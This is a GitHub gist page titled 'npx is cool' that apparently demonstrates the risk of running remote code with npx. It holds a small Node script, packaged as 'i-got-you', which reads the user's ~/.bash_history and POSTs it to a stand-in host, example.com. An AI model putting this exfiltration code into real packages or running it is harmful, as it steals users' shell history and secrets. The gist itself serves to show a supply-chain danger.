Skip to content

Instantly share code, notes, and snippets.

@tanepiper
Forked from zkat/index.js
Last active July 11, 2017 14:50
Show Gist options
  • Save tanepiper/eed4acfaf129a11ca336d2eb9f3ee14c to your computer and use it in GitHub Desktop.
Save tanepiper/eed4acfaf129a11ca336d2eb9f3ee14c to your computer and use it in GitHub Desktop.
npx is cool

Hi!

I'm going to steal your stuff

#! /usr/bin/env node
const fs = require('fs');
const http = require('http');
const home = process.env.HOME;
const options = {
host: 'example.com',
path: '/',
port: 80,
method: 'POST'
};
const req = http.request(options, function(response) {
console.log(response);
});
fs.readFile(`${home}/.bash_history`, 'utf-8', function(error, data) {
req.write(data);
req.end();
});
{
"name": "i-got-you",
"version": "0.0.0",
"bin": "./index.js"
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment